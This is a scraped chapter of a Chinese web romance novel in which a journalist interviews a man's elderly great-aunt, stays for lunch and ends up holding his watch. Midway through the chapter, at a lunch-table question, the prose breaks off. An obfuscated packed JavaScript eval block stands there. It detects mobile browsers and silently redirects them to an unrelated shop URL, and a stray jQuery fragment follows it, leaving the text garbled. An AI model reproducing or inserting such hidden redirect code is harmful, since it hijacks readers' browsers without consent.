39. 39 木头
作品:《温带气旋》 思贤里37号201,是梁知予本次采访的地点,独居老人吴庆玉,在此住了将近五年。
“姨外婆?”
梁知予坐在藤编沙发上,为吴奶奶的话诧异不已。
“看不出来吧?”吴奶奶掩嘴而笑,“我和舒橪的外婆,是亲生姐妹。这套房子挂的是他的名字,姐夫和我老伴走得早,我和他外婆同住了几年,后来他外婆去世,我本来打算搬回自己那边,这孩子倒是有孝心,说什么也不肯,叫我安安心心在这里住着。”
进门处,放了个半人多高的鱼缸,几尾漂亮的金鱼在水里游得悠闲。
梁知予若有所思地望向专注喂鱼的舒橪,听吴奶奶继续说道:“我膝下无儿无女,只有舒橪这一个甥外孙,早就把他当我自己的亲孙子看了。可巧你们两个也是同学,真是有缘呐。”
吴奶奶笑得慈祥,却让梁知予一时不知该怎么接话。
倒是舒橪喂完手里的小半包鱼食,闻声看过来,随口道:“不是说要采访吗?怎么还闲聊起来了。”
“你懂什么。”吴奶奶嗔他,“人家记者是专业的,当然有自己的安排。”
舒橪拈了张纸巾擦手,淡淡道:“怪我多嘴了。请问梁记者,需不需要我回避?”
梁知予翻本子的手顿了顿。
其实舒橪很少这么称呼她,偶尔那么一两次,甚至还是气氛旖旎时的调情用途。如此一本正经的语气,她居然听得不习惯。
“如果你可以的话。”
她低头拔开笔帽,回答道。
舒橪竟还真的往房间里走去,一边头也不回地说:“我的耐心比较有限,如果一会儿等不住擅自出来,还请梁记者多多包涵。”
关门声不重,但仿佛在梁知予的心上磕了一记。
她有些出神,吴奶奶还以为她在为舒橪的行径不满,抱歉道:“不好意思啊小梁,舒橪他平时挺讲礼貌的,今天不知道抽什么风,等会儿我说他。”
梁知予噙笑摇头,连声说没关系。
*
采访都是按着提纲走,吴奶奶虽然上了年纪,思维倒还清明,一问一答很是流利。
将近两个小时的采访时间,很快就过去了。梁知予一边收拾东西,一边微笑着说:“吴奶奶,非常谢谢您的配合。今天就到这里吧,如果后续还有什么需要补充的,我再给您打电话。”
她起身就要走,却被吴奶奶一把按住了。
“小梁,留下来吃中午饭呀,”吴奶奶热情道,“舒橪别的长处没有,做饭还是很好吃的。刚好他今天也在,叫他来下厨。”
梁知予一僵。
……她当然知道,舒橪厨艺很好。
她甚至还知道,舒橪做饭的时候,有种近乎强迫的洁癖,看不惯乱七八糟的台面,总要边做边收拾清洁。
“谢谢您的好意,我心领了。”
梁知予歉然,“下午安排了别人的采访,我怕时间赶不及,还是不用了。”
“哎,客气什么,”吴奶奶摆手,“你一个小姑娘,大老远跑过来采访,肯定要在家里吃点东西再走呀。”
说着,她又扬声喊舒橪:“中午记得做小梁的饭!”
梁知予大窘。
她本来还想趁着他在房间里的时候悄悄离开,被这么一喊,简直彻底没了退路。
舒橪闻声,从房间里不紧不慢地踱步出来,隔着一段距离,视线落在梁知予身上:“你要留下来吃饭?”
听着不太像欢迎的语气。
梁知予自以为识趣,委婉道:“不用,我去外面找家小吃店就行。”
舒橪和她对视,无言无语,目光却渐渐凝成实质性的重量,压在梁知予的肩头,让她有些喘不上气。
半晌,他提步往厨房走,轻飘飘地说:“她老人家独居,平时从不开口留什么人下来。你自己看着办吧。”
梁知予彻底推不开了。
细究起来,这话有点道德绑架的意思,可她偏偏十分受用,转瞬间,心头已经浮现起愧疚之情,对吴奶奶恳切道:“好,吴奶奶,我留下来。”
吴奶奶高兴极了,连连点头,拿起茶几上的桃子,塞到她手里说:“来,小梁,尝尝这个,可甜了。”
梁知予接来道谢。
室内装潢虽旧,但总体十分整洁,可称得上窗明几净。一楼临街位置,屋里最容易生尘,吴奶奶又是头发花白的耄耋老人,能保持如此程度,的确不容易。
“您平时都是自己打理卫生吗?”梁知予问。
吴奶奶笑着说:“我哪还有那个体力,都是舒橪请了家政上门的。”
“他原来还想给我找个住家保姆陪护,但我不喜欢和陌生人同住,坚决没同意,后来才商量着请个定期上门的保洁。至于一日三餐呢,我自己倒是还能做,再不济,社区还有老人食堂,都很方便。”
厨房里,已有开关冰箱和厨具碰撞的声音传来。
梁知予下意识循着声源望去,渐渐觉得坐不住。
“吴奶奶,我去厨房里看看。”
舒橪正在备菜,动作很娴熟,耳朵分辨出一道脚步声,头也不回地说:“我们家没有让客人帮厨的道理。回去坐着吧。”
脚步顿了顿。
两秒后,梁知予走到他身边,轻声说:“我不吃白食。”
舒橪停下动作,回头看着她。
“……也不想再欠你的情。”
早有预料的后半句。
他淡淡笑了笑,“你可真有意思。”
语焉不详,梁知予却也不追问,只是走到水池边,一言不发地开始洗菜。
俨然一副油盐不进的样子。
舒橪良久无话,单手解了手表的扣子,不由分说地往梁知予面前递过去:“帮我收着。”
梁知予疑惑:“你没口袋?”
“装满了。”
“……哦。”
她擦了擦手,接过那块沉甸甸的男士手表,揣进侧袋。
还带着他的体温。
两人搭伙的效率,确实比一个人高不少。舒橪掌勺,梁知予打下手,言语交流虽然寥寥,但配合得十分默契,偶尔几个眼神交汇,便知道对方需要什么。
吴奶奶悄悄踱步到厨房门口,看着一双背影,笑得意味深长。
四菜一汤很快端上了桌。
“小梁啊,你多吃一点,”吴奶奶给梁知予盛汤,“不要跟奶奶客气,就像在自己家里一样。”
梁知予双手接过,说道:“奶奶,您是长辈,我自己来就好,不劳烦您帮忙。”
舒橪坐她们对面,此时倒是只顾着低头吃饭,并不置一词。吴奶奶瞥了他一眼,略微不满道:“你也真是,一点没有招待客人的样子,都不知道招呼小梁吃菜。”
莫名挨了几句,舒橪终于抬眼,寡淡道:“您不是一直在招呼吗,我可插不进话。”
吴奶奶撇嘴:“哦,还成了我的不是了?”
转头又对梁知予说:“舒橪这张嘴,也不知道随了谁,丽玲和宏朗都是好脾气,哪像他,好好的话都能被说歪。”
梁知予不便多言,只能糊弄地笑一笑。
然而没聊几句,话题就逐渐偏转了方向。
“小梁,谈没谈男朋友啊?”吴奶奶笑眯眯地问,“你这么优秀,追你的男孩子应该不少吧?”
梁知予神情一滞。
“……没呢。”
她摇头,视线微妙地避开对面的舒橪。
吴奶奶惊讶:“真的?连中意的人都没有么?”
梁知予扯出一个笑,又摇头。
“那你喜欢什么样子的?奶奶帮你留意。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16292396|176067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
舒橪忽地放了筷子,端碗站起来,转身进厨房添饭。动作幅度大,椅子和地板摩擦出沉闷的声音,听着扎耳。
梁知予的目光如被磁石牵引,不自主地落在骤然空出来的位置上,情绪满涨上喉咙。
欲言,又止。
“……我也不知道。”
她低眉。
“但至少,是要愿意认认真真和我说一句‘喜欢’的人吧。”
*
午饭吃完,梁知予略坐了一会儿,便预备离开。
她下午还有别的采访,距离约定时间已经很近,得尽快过去。
吴奶奶在门口和她道别,又把舒橪往门外推了推。
“送送人家,”她压低声音说,“别老像个木头似的。”
下一户采访对象,距离吴奶奶家几百米,开车实属多余,步行就足矣。
梁知予和舒橪并肩而行,中间保持着一臂距离,礼仪恪守得严谨,绝无丝毫肢体接触的可能。
“你姨外婆其实挺好相处的。”
走出一段路,梁知予启声说。
这是个安全且不易冷场的话题,舒橪也接了话:“她年轻时候,在化工厂做技术工作,据我妈描述,是很严肃的一位长辈。后来退休之后,才慢慢变了性格,尤其是……”
他顿了顿,“对她比较喜欢的晚辈。”
“她和你外婆很像吗?”
“长得像,性格不像。不过她们姐妹倒是很和睦,感情也深,我外婆走的时候,她哭了很久。”
梁知予唏嘘不已。
“你经常来探望她吗?”
舒橪:“十天半月吧。来多了,她反而嫌我烦,倒是更经常念叨我妈。她应该把我妈当亲女儿看了。”
舒橪的家事,梁知予了解得很少,她自己也同样,在他面前,几乎从未主动提及。
都说为人处世,交浅言深是大忌,但梁知予也有些迷惘,她和舒橪,是不是走向了另一个极端的对立面。
几百米的路,转眼已即将行至尽头。
梁知予停下脚步,对舒橪说:“就送到这里吧,谢谢你今天的午饭。”
舒橪平静地说了“不客气”。
随即,他们各自转身,分道扬镳。
下午的采访,比上午来得繁忙许多,除了小区居民,还有社区活动中心的工作人员需要会面。
梁知予拍摄了不少照片和视频,用作改造工程的前后对比,等到正式收工回家,夕阳早已掩进了地平线下。
和室友打过招呼,梁知予回到自己房间。
前段时间裴斯湘出差,奔波忙碌了整整一个月,恰好避开了台风登陆,回来申请了几天的调休,刚恢复正常的工作日作息。
梁知予正想问问她要不要一起点个外卖宵夜,从口袋里掏手机时,冷不丁摸到一块硬邦邦的金属。
拿出来一看,顿时大吃一惊。
——竟然是舒橪的那块手表。
虽不认得具体款式,但梁知予还算有点名贵表类的常识,深知这块腕表的价格绝对不菲。
她立刻给舒橪打电话。
“什么事?”舒橪的声音带点懒倦。
“你的手表落在我这里了。”梁知予说,“这东西太贵重了,你什么时候方便来取?”
“噢,就这事?”
舒橪态度平淡,仿佛那不是价格六位数的手表,而是什么微不足道的小物件。
听他如此漫不经心,梁知予着急了:“我和你说认真的!这么贵的表,万一在我这儿弄丢了,我可赔不起,你赶紧拿回去。”
舒橪却说:“不巧,我最近很忙,没时间来取。”
“那你什么时候在家,我给你送过去也行。”
电话里静了须臾。
“周末。有空吗?”

